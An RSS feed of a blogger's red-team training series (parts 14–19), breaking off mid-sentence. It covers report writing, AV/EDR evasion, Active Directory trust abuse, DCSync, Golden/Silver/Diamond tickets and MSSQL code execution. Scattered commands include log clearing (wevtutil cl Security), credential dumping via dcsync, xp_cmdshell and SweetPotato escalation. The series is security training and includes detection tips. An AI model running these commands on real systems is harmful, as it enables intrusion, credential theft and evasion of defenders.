<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Parker Daudt on Medium]]></title>
        <description><![CDATA[Stories by Parker Daudt on Medium]]></description>
        <link>https://medium.com/@PDaudt_InfoSec?source=rss-3ffb2de6d5a5------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*WsHU-MFwf3yvQL_Y.png</url>
            <title>Stories by Parker Daudt on Medium</title>
            <link>https://medium.com/@PDaudt_InfoSec?source=rss-3ffb2de6d5a5------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 04:09:52 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@PDaudt_InfoSec/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[So You Want to Red Team — A Guide to Becoming a Top Tier Red Team Operator (Pt. 19)]]></title>
            <link>https://medium.com/@PDaudt_InfoSec/so-you-want-to-red-team-a-guide-to-becoming-a-top-tier-red-team-operator-pt-19-08c83b910ad7?source=rss-3ffb2de6d5a5------2</link>
            <guid isPermaLink="false">https://medium.com/p/08c83b910ad7</guid>
            <dc:creator><![CDATA[Parker Daudt]]></dc:creator>
            <pubDate>Sat, 02 Aug 2025 16:44:27 GMT</pubDate>
            <atom:updated>2025-08-02T16:44:27.769Z</atom:updated>
            <content:encoded><![CDATA[<h3>📄 Reporting: The Most Important Deliverable</h3><p>The final report is <strong>the most critical part</strong> of any red team engagement. It’s what the client sees, uses for planning, and shows to leadership — so it needs to be <strong>clear, accurate, and professional</strong>.</p><h3>🎯 What the Report Must Communicate</h3><ul><li>Whether <strong>objectives were met</strong></li><li>All <strong>key findings</strong></li><li><strong>Business impact</strong> of the findings</li><li><strong>Recommendations</strong> for fixing issues</li></ul><h3>🛠️ Cobalt Strike Reports</h3><p>Cobalt Strike can generate several <strong>automated reports</strong> based on post-exploitation activity. These are usually for <strong>internal red team reference</strong> or to include as <strong>appendices</strong> in a formal report.</p><h3>Available Report Types:</h3><ul><li><strong>Activity Report: </strong>Timeline of actions taken during the operation.</li><li><strong>Hosts Report</strong>: Details on each host (services, credentials, sessions).</li><li><strong>IOC Report</strong>: Technical threat intel: traffic profiles, C2 domains, file hashes.</li><li><strong>Sessions Report</strong>: Breaks down activity per session (who did what, where).</li><li><strong>Social Engineering Report</strong>: Tracks spear phishing results: who clicked what, system profiler data.</li><li><strong>TTP Report</strong>: Maps actions to the <strong>MITRE ATT&amp;CK</strong> framework.</li></ul><p>🧠 If connected to multiple team servers, Cobalt Strike will <strong>automatically aggregate data</strong> across them.</p><h3>🧾 The Final Red Team Report</h3><p>The formal report is <strong>built by hand</strong> from:</p><ul><li>Team member notes and logs</li><li>Cobalt Strike reports</li><li>Screenshots, outputs, timeline entries</li></ul><h3>Common Report Sections:</h3><h4>📌 Executive Summary (non-technical)</h4><ul><li>For management</li><li>Summarizes: What happened, what was found, business risks</li></ul><h4>🎯 Goals &amp; Scenario</h4><ul><li>Explains the red team <strong>methodology, scope</strong>, and <strong>testing model</strong></li><li>Often overlaps with content from the <strong>Rules of Engagement (ROE)</strong></li></ul><h4>🧠 Attack Narrative (technical)</h4><ul><li>Step-by-step breakdown of how objectives were reached</li><li>Includes: commands, screenshots, tools used, etc.</li></ul><h4>🔎 Observations &amp; Recommendations</h4><ul><li>Break down each major <strong>finding/weakness</strong></li><li>Explain what went wrong (observation)</li><li>Offer <strong>practical fixes</strong> (recommendations)</li></ul><p><em>Example:</em></p><blockquote><em>Observation: Kerberoasting revealed weak service account passwords<br> Recommendation: Enforce stronger passwords, implement service account monitoring</em></blockquote><h4>🧾 Conclusion</h4><ul><li>Recaps the most important findings</li><li>States <strong>risk level to the business</strong></li><li>Closes out the report with high-level implications</li></ul><h3>👥 Out-Briefs: Explaining the Report in Person</h3><p>After the report is finished, it’s common to hold <strong>presentations (out-briefs)</strong> with stakeholders:</p><h3>👨‍💼 Executive Read Outs or Briefs</h3><ul><li>Happens shortly after the engagement</li><li>Tailored to <strong>leadership &amp; decision-makers</strong></li><li>Focus: business risk, strategic improvements, funding/staffing needs</li></ul><h3>🧑‍💻 Technical Read Outs or Briefs</h3><ul><li>Held with technical teams (e.g., Blue Team, IT)</li><li>Focus: what actually happened, how to detect/respond next time</li><li>Best opportunity for <strong>Red ↔ Blue collaboration &amp; learning</strong></li></ul><h3>✅ Key Takeaways</h3><ul><li>The <strong>report is your product</strong> — clear, impactful reporting matters more than flashy TTPs</li><li>Tailor language and content to the audience (exec vs. tech)</li><li>Use Cobalt Strike reports for support, not as the main report</li><li>Highlight both <strong>technical failures</strong> and <strong>business risks</strong></li><li>Use out-briefs to <strong>ensure understanding</strong> and encourage change</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=08c83b910ad7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[So You Want to Red Team — A Guide to Becoming a Top Tier Red Team Operator (Pt. 18)]]></title>
            <link>https://medium.com/@PDaudt_InfoSec/so-you-want-to-red-team-a-guide-to-becoming-a-top-tier-red-team-operator-pt-18-3ab2ec65c4f6?source=rss-3ffb2de6d5a5------2</link>
            <guid isPermaLink="false">https://medium.com/p/3ab2ec65c4f6</guid>
            <dc:creator><![CDATA[Parker Daudt]]></dc:creator>
            <pubDate>Tue, 29 Jul 2025 15:50:03 GMT</pubDate>
            <atom:updated>2025-07-29T15:50:03.354Z</atom:updated>
            <content:encoded><![CDATA[<h3>🕵️‍♂️ Defense Evasion — Staying Hidden on the Network</h3><p>Defense evasion is all about <strong>avoiding detection</strong> while operating in a target environment. This chapter focuses on techniques to bypass antivirus (AV), endpoint detection and response (EDR), logging, and other security controls.</p><h3>🔧 1. Antivirus Evasion Basics</h3><p>AV solutions often look for:</p><ul><li><strong>Known signatures</strong> (e.g., Mimikatz binaries)</li><li><strong>Heuristic behavior</strong> (e.g., suspicious memory access)</li></ul><h4>🛠️ Strategies:</h4><ul><li><strong>Custom payloads</strong>: Compile your own versions of tools like Cobalt Strike beacons</li><li><strong>Obfuscation</strong>: Use tools like:</li><li>donut to convert EXEs into shellcode</li><li>ShellcodeLoader with encryption layers</li><li><strong>Living off the land</strong>: Use built-in Windows tools (LOLBAS) like rundll32, regsvr32, or powershell to stay low profile</li></ul><h3>🚫 2. Preventing Signature Detection</h3><p>Use these tactics to change the <em>appearance</em> of malicious files:</p><ul><li><strong>Packers</strong>: Compress and encrypt binaries to change their hash</li><li><strong>Code obfuscation</strong>: Randomize variable names and insert junk code</li><li><strong>Recompilation</strong>: Rebuild tools from source (e.g., Mimikatz) with altered function names</li></ul><p>🔍 Tip: AV will likely catch known tools unless heavily modified or obfuscated.</p><h3>🎭 3. Bypassing EDRs</h3><p>EDRs are more advanced than AVs. They analyze:</p><ul><li>Syscalls</li><li>Memory injection</li><li>Command-line arguments</li><li>Parent-child process relationships</li></ul><h4>🧠 Bypass Methods:</h4><ul><li><strong>Indirect syscalls</strong>: Avoid direct API calls (e.g., use syscall stubs instead of NtOpenProcess)</li><li><strong>Manual mapping</strong>: Inject shellcode into memory without using LoadLibrary</li><li><strong>Unhooking</strong>: Remove or overwrite EDR hooks in userland</li><li><strong>Process ghosting / herpaderping</strong>: Trick EDRs by tampering with process creation</li><li><strong>In-memory execution</strong>: Avoid writing payloads to disk entirely</li></ul><p>🧰 Use open-source projects like:</p><ul><li>PEzor, ScareCrow, NimPlant, Ghostpack</li></ul><h3>📊 4. Evading Logging &amp; Detection</h3><p>Windows logs and security tools can reveal your activities. Common targets for evasion:</p><h4>🧱 Security Logs:</h4><ul><li><strong>Event IDs</strong> like:</li><li>4688 (process creation)</li><li>4673 (privileged service used)</li><li>4624 (logon)</li><li><strong>Sysmon events</strong> for registry, process, image load, etc.</li></ul><h4>💡 Evasion Tips:</h4><ul><li>Use <strong>short-lived processes</strong></li><li>Inject into <strong>legit system processes</strong> (e.g., explorer.exe)</li><li>Clear or suppress logs sparingly — can trigger alerts</li></ul><h3>⚠️ 5. OPSEC Failures to Avoid</h3><p>Red teamers get burned when they:</p><ul><li>Use <strong>default payloads</strong> or obvious binaries</li><li>Leave <strong>suspicious artifacts</strong> (e.g., base64 strings, encoded PowerShell)</li><li>Use <strong>well-known C2 channels</strong> without obfuscation</li></ul><p>🧠 OPSEC = Blending in. Use real file names, legitimate parent processes, and native functionality.</p><h3>🧼 6. Cleaning Up</h3><p>After an op or before pivoting, it’s important to <strong>cover your tracks</strong>:</p><ul><li><strong>Clear command history</strong></li><li>Remove-Item (Get-PSReadlineOption).HistorySavePath</li><li><strong>Delete dropped files and payloads</strong></li><li><strong>Clear logs cautiously</strong></li><li>E.g., use wevtutil to clear specific logs:</li></ul><pre>wevtutil cl Security</pre><p>⚠️ Be careful — log clearing is highly suspicious and can get blue teams hunting.</p><h3>🧠 Tips</h3><ul><li>Don’t rely on tools out of the box — <strong>customize everything</strong></li><li>Avoid disk when possible — <strong>execute in memory</strong></li><li>Stay quiet — <strong>blend in with system behavior</strong></li><li>Know your environment — <strong>test payloads in similar setups</strong></li><li>Plan your exit — <strong>clean up responsibly</strong></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3ab2ec65c4f6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[So You Want to Red Team — A Guide to Becoming a Top Tier Red Team Operator (Pt. 17)]]></title>
            <link>https://medium.com/@PDaudt_InfoSec/so-you-want-to-red-team-a-guide-to-becoming-a-top-tier-red-team-operator-pt-17-4ec2dd6c9147?source=rss-3ffb2de6d5a5------2</link>
            <guid isPermaLink="false">https://medium.com/p/4ec2dd6c9147</guid>
            <dc:creator><![CDATA[Parker Daudt]]></dc:creator>
            <pubDate>Tue, 29 Jul 2025 15:49:48 GMT</pubDate>
            <atom:updated>2025-07-29T15:49:48.784Z</atom:updated>
            <content:encoded><![CDATA[<h3>🏛️ Forest &amp; Domain Trusts — Explained Simply</h3><p>In Active Directory, <strong>trusts</strong> allow different domains or forests to <strong>share resources</strong>. Attackers can abuse these trusts to <strong>move laterally or escalate privileges</strong> across domain boundaries.</p><h3>🔗 Types of Trusts</h3><p><strong>Parent/Child Trust</strong></p><ul><li>Two-way, transitive</li><li>Auto-created when adding a new domain under a tree</li></ul><p><strong>Tree-Root Trust</strong></p><ul><li>Two-way, transitive</li><li>Auto-created between trees in the same forest</li></ul><p><strong>External Trust</strong></p><ul><li>One or two-way, <strong>non-transitive</strong></li><li>Manually created between different forests</li></ul><p><strong>Forest Trust</strong></p><ul><li>One or two-way, <strong>transitive</strong></li><li>Shares resources between entire forests</li></ul><h3>🔁 Trust Direction and Transitivity</h3><ul><li><strong>One-way trust</strong> = One side (trusted) can access the other (trusting)</li><li><strong>Two-way trust</strong> = Access goes both ways (actually two one-way trusts)</li><li><strong>Transitive trust</strong> = Trust extends through domains (A ↔ B ↔ C means A ↔ C)</li></ul><p><strong>Inbound vs. Outbound</strong></p><ul><li>Inbound = can receive access</li><li>Outbound = can access others</li></ul><p>🧠 <em>Confusing but key:</em> Access flows in the <strong>opposite direction</strong> of the trust label.</p><h3>📁 Trusted Domain Objects (TDOs)</h3><p>Stored in AD, TDOs hold info like:</p><ul><li>Domain names (FQDN and NetBIOS)</li><li>Trust direction (trustDirection)</li></ul><p>Trust type (trustAttributes)</p><ul><li>1 = non-transitive</li><li>4 = SID filtering (limits SID history attacks)</li><li>8 = forest transitive</li><li>32 = intra-forest trust</li><li>64 = inter-forest external trust</li></ul><p>Query with:</p><pre>ldapsearch (objectClass=trustedDomain)</pre><h3>🧱 Security Boundaries</h3><ul><li><strong>Forest = true security boundary</strong></li><li><strong>Domains = not secure</strong> from each other inside a forest</li><li>Domain admins <strong>can escalate</strong> to forest-level privileges via SID history attacks</li></ul><h3>🎟️ Inter-Realm Kerberos Tickets</h3><p>Used when crossing trust boundaries:</p><ol><li>Client sends a TGS-REQ to their <strong>own</strong> KDC.</li><li>KDC returns a <strong>referral ticket</strong> (inter-realm TGT), encrypted with the inter-realm key.</li><li>Client sends the inter-realm TGT to the <strong>foreign</strong> KDC.</li><li>Foreign KDC decrypts it and issues a service ticket.</li></ol><p>🧠 <em>Parent/child trusts share the same inter-realm key.</em></p><h3>🔐 Trust Accounts</h3><ul><li>Each trust creates a <strong>trust account</strong> in AD (like PARTNER$)</li><li>These accounts store the <strong>shared inter-realm key</strong></li><li>You can extract these accounts with:</li></ul><pre>ldapsearch (samAccountType=805306370) --attributes samAccountName</pre><h3>🚨 Attacking Trusts</h3><h4>🧬 Parent/Child Trust Abuse</h4><ul><li>All child domains <strong>implicitly trust the tree root</strong></li><li>Attack path: <strong>Child Domain Admin → Enterprise Admin</strong></li><li>Use <strong>SID History</strong> in a <strong>Golden or Diamond Ticket</strong> to escalate</li><li>Tools: Rubeus (golden, diamond)</li></ul><h4>🔄 One-Way Inbound Trusts</h4><ul><li><strong>Trusted side = has access</strong></li><li>Find <strong>foreign users/groups</strong> (FSPs) that can access the trusting domain:</li></ul><pre>ldapsearch (objectClass=foreignSecurityPrincipal)</pre><ul><li>Match SIDs to actual users/groups</li><li>These SIDs can be used for ticket forging if SID filtering isn’t active (rare for external trusts)</li></ul><h4>🚫 One-Way Outbound Trusts</h4><ul><li><strong>Trusting side = no access</strong></li><li>Cannot enumerate the trusted domain or forge tickets (you’re blocked)</li><li>Can still access trusted domain <strong>if you have creds</strong> for a trusted user</li></ul><h3>🎭 Forging Referral Tickets (Inter-Realm Tickets)</h3><p>If you have:</p><ul><li>The <strong>inter-realm key</strong> (e.g., from trust account)</li><li>A <strong>trusted user SID and RID</strong></li><li>The <strong>group memberships</strong></li></ul><p>You can forge a ticket manually:</p><ul><li>Use Rubeus silver to build a referral TGT</li><li>Use asktgs to get a service ticket</li></ul><p>🛠️ Toolchain:</p><ol><li>Dump inter-realm key:</li></ol><pre>dcsync contoso.com CONTOSO\PARTNER$</pre><p>2. Forge referral TGT with silver</p><p>3. Request service ticket with asktgs</p><h3>🧪 On the Trusting Side (Outbound Trust)</h3><p>Even if you can’t query the foreign domain:</p><ul><li>You can <strong>dcsync the inter-realm key</strong> using TDO objectGUID</li><li>Impersonate the trust account and <strong>request a TGT</strong></li><li>Now you can enumerate the trusted domain like a regular user</li></ul><p>🧠 This works because trust accounts have <strong>default group membership</strong> (like Domain Users via primaryGroupID = 513).</p><h3>✅ Trust Abuse Flow</h3><ul><li><strong>Step 1</strong>: Enumerate trust info (ldapsearch)</li><li><strong>Step 2</strong>: Identify TDOs, trust direction, and SID filtering</li><li><strong>Step 3</strong>: Extract or impersonate a user with access to the foreign domain</li><li><strong>Step 4</strong>: Forge or request referral tickets using the inter-realm key</li><li><strong>Step 5</strong>: Access foreign domain services or data</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4ec2dd6c9147" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[So You Want to Red Team — A Guide to Becoming a Top Tier Red Team Operator (Pt. 16)]]></title>
            <link>https://medium.com/@PDaudt_InfoSec/so-you-want-to-red-team-a-guide-to-becoming-a-top-tier-red-team-operator-pt-16-606545abda3c?source=rss-3ffb2de6d5a5------2</link>
            <guid isPermaLink="false">https://medium.com/p/606545abda3c</guid>
            <dc:creator><![CDATA[Parker Daudt]]></dc:creator>
            <pubDate>Tue, 29 Jul 2025 15:49:38 GMT</pubDate>
            <atom:updated>2025-07-29T15:49:38.880Z</atom:updated>
            <content:encoded><![CDATA[<h3>🏰 Domain Dominance</h3><p>When a red teamer (or attacker) gets <strong>domain admin</strong>, they’ve got the keys to the kingdom. But to keep control even if they lose access later, they’ll extract <strong>long-lasting credentials</strong> and secrets.</p><h3>📥 DCSync — Stealing Password Hashes via Replication</h3><p>🧠 <strong>What it is</strong>:<br> Tricks a Domain Controller (DC) into giving up user credentials like it would during replication.</p><p>🔧 <strong>How</strong>:</p><ul><li>Uses tools like <strong>Mimikatz</strong> (lsadump::dcsync) or <strong>Cobalt Strike Beacon</strong> (dcsync).</li><li>Pulls password hashes for any user, especially krbtgt.</li></ul><p>🎯 <strong>Why krbtgt?</strong><br> That account signs all Kerberos TGTs. If you own its hash, you can forge valid tickets = persistent domain access.</p><p>🛡️ <strong>OPSEC / Detection</strong>:</p><ul><li>Normal replication is legit, so defenders must spot <strong>unusual sources</strong> (not DCs) requesting data.</li><li>Look for <strong>Event ID 4662</strong> with special GUIDs in logs.</li></ul><h3>🎟️ Ticket Forgery (Silver, Golden, Diamond)</h3><p>Kerberos tickets can be <strong>forged offline</strong> using stolen secrets and injected into memory for persistent access.</p><h4>🥈 Silver Ticket</h4><ul><li>Forged <strong>service ticket</strong> (TGS) signed with a <strong>computer account’s hash</strong> (e.g., lon-db-1).</li><li>Targets specific services like CIFS or MSSQL.</li><li>Doesn’t require contacting a KDC → stealthy but short-lived (secrets rotate every 30 days).</li></ul><p>🛡️ Detection:<br> No 4769 (TGS-REQ) logs before ticket use, unusual casing (e.g., lowercase domains), or bad PAC signatures if PAC validation is enabled.</p><h4>🥇 Golden Ticket</h4><ul><li>Forged <strong>TGT (Ticket Granting Ticket)</strong> using the <strong>krbtgt hash</strong>.</li><li>Grants access as any user to any service — <strong>full god mode</strong> in the domain.</li><li>Doesn’t expire unless krbtgt is changed.</li></ul><p>🛡️ Detection:</p><ul><li>Look for missing 4768 (AS-REQ) logs before 4769s.</li><li>Suspicious ticket lifetimes (e.g., Mimikatz defaults to 10 years instead of 10 hours).</li></ul><h4>💎 Diamond Ticket</h4><ul><li>Hybrid approach: start with a <strong>real TGT</strong>, decrypt and <strong>modify it</strong>, then re-sign using krbtgt hash.</li><li>Makes forged tickets look more “normal” and harder to detect.</li></ul><p>🛡️ Detection:</p><ul><li>Can be tricky. Look for fields that don’t match (e.g., mismatched full name), strange activity by rarely used accounts.</li></ul><h3>🔑 3. DPAPI Backup Key — Decrypting User Secrets</h3><p>🧠 <strong>DPAPI</strong> (Data Protection API) protects user secrets like credentials and browser passwords.</p><p>📌 Each user has a <strong>masterkey</strong> protected by their password, but…</p><ul><li>AD keeps a <strong>backup copy</strong> of the masterkey encrypted with the <strong>domain backup key</strong>.</li><li>If an attacker gets the domain backup key, they can decrypt <strong>any user’s secrets</strong>.</li></ul><p>🔧 Tools:</p><ul><li>SharpDPAPI, Mimikatz (lsadump::backupkeys)</li></ul><p>🛡️ Use-case:</p><ul><li>An attacker can extract saved RDP passwords, credentials, etc., for <strong>any user</strong>, even after password changes.</li></ul><h3>✅ Summary of Key Concepts</h3><h4>🔁 DCSync</h4><ul><li><strong>What it does</strong>: Extracts password hashes (e.g., krbtgt) by mimicking domain controller replication behavior.</li><li><strong>Key target</strong>: krbtgt account (used to sign Kerberos tickets).</li><li><strong>Tools</strong>: Mimikatz (lsadump::dcsync), Cobalt Strike Beacon (dcsync).</li></ul><p><strong>Detection tips</strong>:</p><ul><li>Look for <strong>Event ID 4662</strong> with specific GUIDs.</li><li>Flag replication requests from <strong>non-DC IPs</strong>.</li></ul><h4>🥈 Silver Ticket</h4><ul><li><strong>What it does</strong>: Forged <strong>Kerberos service ticket</strong> (TGS) using a computer account’s secret.</li><li><strong>Key target</strong>: Specific service on a host (e.g., CIFS, MSSQLSvc).</li><li><strong>Tools</strong>: Rubeus, Mimikatz.</li></ul><p><strong>Detection tips</strong>:</p><ul><li><strong>No Event 4769 (TGS-REQ)</strong> logs before ticket usage.</li><li><strong>Invalid PAC signatures</strong> if PAC validation is enforced.</li><li>Watch for <strong>anomalous casing</strong> in domain names (e.g., lowercase).</li></ul><h4>🥇 Golden Ticket</h4><ul><li><strong>What it does</strong>: Forged <strong>Kerberos TGT</strong> using the domain’s krbtgt hash.</li><li><strong>Key target</strong>: Entire domain (impersonate any user, request any service).</li><li><strong>Tools</strong>: Rubeus, Mimikatz.</li></ul><p><strong>Detection tips</strong>:</p><ul><li><strong>Missing Event 4768 (AS-REQ)</strong> prior to service access.</li><li><strong>Unusual ticket lifetimes</strong>, like 10-year tickets from Mimikatz.</li></ul><h4>💎 Diamond Ticket</h4><ul><li><strong>What it does</strong>: Start with a real TGT, <strong>decrypt and modify it</strong>, then re-encrypt and re-sign with krbtgt key.</li><li><strong>Key target</strong>: Any user, with more realistic ticket fields to avoid detection.</li><li><strong>Tools</strong>: Rubeus.</li></ul><p><strong>Detection tips</strong>:</p><ul><li>Harder to detect — look for <strong>inconsistencies in ticket attributes</strong> (e.g., mismatched full names, group IDs).</li></ul><h4>🔐 <strong>DPAPI Backup Key</strong></h4><ul><li><strong>What it does</strong>: Decrypts <strong>all users’ saved secrets</strong> (browser passwords, RDP creds, etc.) via the domain’s DPAPI backup key.</li><li><strong>Key target</strong>: Backup key stored in Active Directory.</li><li><strong>Tools</strong>: SharpDPAPI, Mimikatz.</li></ul><p><strong>Detection tips</strong>:</p><ul><li>Very stealthy; few direct logs.</li><li>Monitor for tools accessing DPAPI credentials in bulk.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=606545abda3c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[So You Want to Red Team — A Guide to Becoming a Top Tier Red Team Operator (Pt. 15)]]></title>
            <link>https://medium.com/@PDaudt_InfoSec/so-you-want-to-red-team-a-guide-to-becoming-a-top-tier-red-team-operator-pt-15-ddcdf7a0cbd0?source=rss-3ffb2de6d5a5------2</link>
            <guid isPermaLink="false">https://medium.com/p/ddcdf7a0cbd0</guid>
            <dc:creator><![CDATA[Parker Daudt]]></dc:creator>
            <pubDate>Mon, 28 Jul 2025 05:22:16 GMT</pubDate>
            <atom:updated>2025-07-28T05:22:16.250Z</atom:updated>
            <content:encoded><![CDATA[<h3>🛢️ Microsoft SQL Server</h3><h3>Overview</h3><ul><li><strong>Microsoft SQL Server</strong> is a relational database system developed by Microsoft.</li><li>SQL servers are popular targets for enumeration, privilege escalation, and code execution in red teaming.</li><li>Tools commonly used: SQL-BOF, PowerUpSQL, SQLRecon, sqlcmd, HeidiSQL, SSMS.</li></ul><h3>🕵️‍♂️ Enumeration Techniques</h3><h3>1. SPN Enumeration (Kerberos-based)</h3><ul><li>Use LDAP to find SPNs registered for SQL services</li></ul><pre>ldapsearch (&amp;(samAccountType=805306368)(servicePrincipalName=MSSQLSvc*))</pre><p>Reveals:</p><ul><li>SQL hostnames</li><li>Ports</li><li>Service accounts</li></ul><h3>2. Port Scanning</h3><ul><li>Useful when SPNs aren’t available.</li><li>Common port: 1433 (TCP)</li></ul><pre>portscan 10.10.120.0/23 1433 arp 1024</pre><h3>3. SQL Browser Service</h3><ul><li>Available on UDP 1434.</li><li>Returns basic instance details even without authentication.</li></ul><h3>4. Instance Info Gathering (SQL-BOF)</h3><p>Use sql-info to gather:</p><ul><li>Hostname, domain, version</li><li>SQL Service name &amp; account</li><li>Auth mode (SQL/Windows)</li><li>User login</li><li>SQL roles</li></ul><h3>5. Role and Permission Discovery</h3><ul><li>sql-whoami shows:</li><li>SQL roles (e.g. sysadmin, serveradmin)</li><li>Database-level roles (e.g. db_owner, db_datareader)</li></ul><h3>🔍 Querying</h3><ul><li>Public role allows simple queries (e.g., check server name):</li></ul><pre>sql-query lon-db-1 &quot;SELECT @@SERVERNAME&quot;</pre><p>Additional commands:</p><ul><li>sql-databases: List databases.</li><li>sql-tables: List tables in a specific database.</li><li>sql-columns: List columns in a table.</li><li>sql-search: Search for sensitive column names.</li></ul><h3>🧨 Code Execution via SQL Server</h3><blockquote><em>Requires </em><em>sysadmin SQL role for all methods.</em></blockquote><h3>1. xp_cmdshell</h3><ul><li>Classic method to run system commands:</li></ul><pre>EXEC xp_cmdshell &#39;hostname &amp;&amp; whoami&#39;;</pre><ul><li>Must be enabled using:</li></ul><pre>sql-enablexp lon-db-1</pre><ul><li>Output is returned.</li><li>Always disable afterward:</li></ul><pre>sql-disablexp lon-db-1</pre><h3>2. OLE Automation Procedures</h3><ul><li>Interact with COM objects (e.g., spawn a shell).</li><li>Enable with:</li></ul><pre>sql-enableole lon-db-1</pre><ul><li>Execute with:</li></ul><pre>sql-olecmd lon-db-1 &quot;cmd /c calc&quot;</pre><ul><li>Cannot return output.</li><li>Often paired with PowerShell one-liners for reverse shells.</li></ul><h3>3. SQL CLR (Common Language Runtime)</h3><ul><li>Lets you write .NET code (e.g., C#) as stored procedures.</li><li>Must enable CLR:</li></ul><pre>sql-enableclr lon-db-1</pre><ul><li>Deploy and execute assembly:</li></ul><pre>sql-clr lon-db-1 [path-to-dll] MyProcedure</pre><ul><li>Clean up and disable after use:</li></ul><pre>sql-disableclr lon-db-1</pre><h3>🔗 Linked Servers</h3><ul><li>SQL servers can link to each other.</li><li>List links:</li></ul><pre>sql-links lon-db-1</pre><ul><li>Query remote server through link:</li></ul><pre>sql-query lon-db-1 &quot;SELECT @@SERVERNAME&quot; &quot;&quot; lon-db-2</pre><ul><li>Query roles and permissions:</li></ul><pre>sql-whoami lon-db-1 &quot;&quot; lon-db-2</pre><ul><li>Enable RPC (required for xp_cmdshell, OLE, CLR):</li></ul><pre>sql-checkrpc lon-db-1<br>sql-enablerpc lon-db-1 lon-db-2</pre><h3>🚀 Privilege Escalation</h3><h3>SeImpersonatePrivilege Abuse</h3><ul><li>Service accounts (like NT Service\MSSQLSERVER) often run the SQL instance.</li><li>These accounts may have the <strong>SeImpersonatePrivilege</strong> token.</li><li>Use whoami /priv or <strong>Seatbelt</strong> to check token privileges.</li></ul><p>Use <strong>SweetPotato</strong> for exploitation:</p><ol><li>Upload payload executable.</li><li>Run SweetPotato to trigger impersonation and spawn payload as SYSTEM:</li></ol><pre>execute-assembly SweetPotato.exe -p [path-to-exe]</pre><p>3. Connect to new SYSTEM beacon.</p><h3>✅ Key Commands to Know</h3><h3>Enumeration</h3><ul><li>ldapsearch: Enumerate SPNs</li><li>portscan: Scan for SQL port 1433</li><li>sql-info: Gather SQL server details</li><li>sql-whoami: List current SQL roles and privileges</li><li>sql-query: Run SQL queries</li></ul><h3>Execution</h3><ul><li>sql-enablexp / sql-disablexp / sql-xpcmd</li><li>sql-enableole / sql-disableole / sql-olecmd</li><li>sql-enableclr / sql-disableclr / sql-clr</li></ul><h3>Linked Server Operations</h3><ul><li>sql-links</li><li>sql-query (with linked server param)</li><li>sql-checkrpc / sql-enablerpc</li></ul><h3>PrivEsc</h3><ul><li>whoami /priv, <strong>Seatbelt</strong>, <strong>SweetPotato</strong></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ddcdf7a0cbd0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[So You Want to Red Team — A Guide to Becoming a Top Tier Red Team Operator (Pt. 14)]]></title>
            <link>https://medium.com/@PDaudt_InfoSec/so-you-want-to-red-team-a-guide-to-becoming-a-top-tier-red-team-operator-pt-14-9311fcd50252?source=rss-3ffb2de6d5a5------2</link>
            <guid isPermaLink="false">https://medium.com/p/9311fcd50252</guid>
            <dc:creator><![CDATA[Parker Daudt]]></dc:creator>
            <pubDate>Mon, 28 Jul 2025 05:22:05 GMT</pubDate>
            <atom:updated>2025-07-28T05:22:05.339Z</atom:updated>
            <content:encoded><![CDATA[<h3>🔐 KERBEROS OVERVIEW</h3><h3>What Is Kerberos?</h3><ul><li><strong>Kerberos</strong> is the default authentication protocol in Windows domains since Server 2000.</li><li>It replaces NTLM and uses <strong>tickets</strong> (instead of passwords) to prove identity.</li><li>Designed for untrusted networks — uses encryption, not transport security.</li><li>Central to Kerberos is the <strong>Key Distribution Center (KDC)</strong>:</li><li><strong>Authentication Server (AS)</strong>: Verifies user and issues a Ticket Granting Ticket (TGT).</li><li><strong>Ticket Granting Service (TGS)</strong>: Issues service-specific tickets using TGTs.</li></ul><h3>🎟️ Kerberos Ticket Types</h3><p>TGT: Proves identity to the KDC so you can request service tickets<br>Service Ticket: Lets you access a specific service like SMB or MSSQL<br>PAC: Contains user attributes like group membership, RIDs, etc.</p><h3>🔁 Authentication Flow (Step-by-Step)</h3><h3>1️⃣ Authentication Service (AS) Exchange</h3><ul><li>Client asks KDC for a TGT (AS-REQ).</li><li>Must prove identity, usually via <strong>encrypted timestamp</strong> using password hash.</li><li>If valid, KDC returns TGT + session key (AS-REP).</li></ul><h3>2️⃣ Ticket Granting Service (TGS) Exchange</h3><ul><li>Client presents TGT + authenticator to get a <strong>service ticket</strong> (TGS-REQ).</li><li>Authenticator proves user is legit (encrypted with session key).</li><li>KDC returns service ticket (TGS-REP).</li></ul><h3>3️⃣ Client/Server Authentication</h3><ul><li>Client uses service ticket + authenticator to access target service.</li><li>Service decrypts ticket, checks authenticator, and optionally responds.</li><li>If <strong>PAC validation</strong> is required, service confirms ticket with KDC.</li></ul><h3>🎟️ Delegation Types (How a Service Can Impersonate You)</h3><h3>Unconstrained Delegation</h3><ul><li>A service can impersonate users to <strong>any</strong> service.</li><li>Dangerous if a machine with this setting is compromised.</li><li>Uses TRUSTED_FOR_DELEGATION flag on the computer account.</li><li>TGTs for users are sent along with service tickets and can be harvested.</li></ul><h3>Constrained Delegation (S4U2proxy)</h3><ul><li>Limits which services a computer can delegate to.</li><li>Controlled by msDS-AllowedToDelegateTo attribute.</li></ul><p>Requires:</p><ul><li>A TGT for the computer.</li><li>A service ticket to the front-end service.</li><li>Optionally an 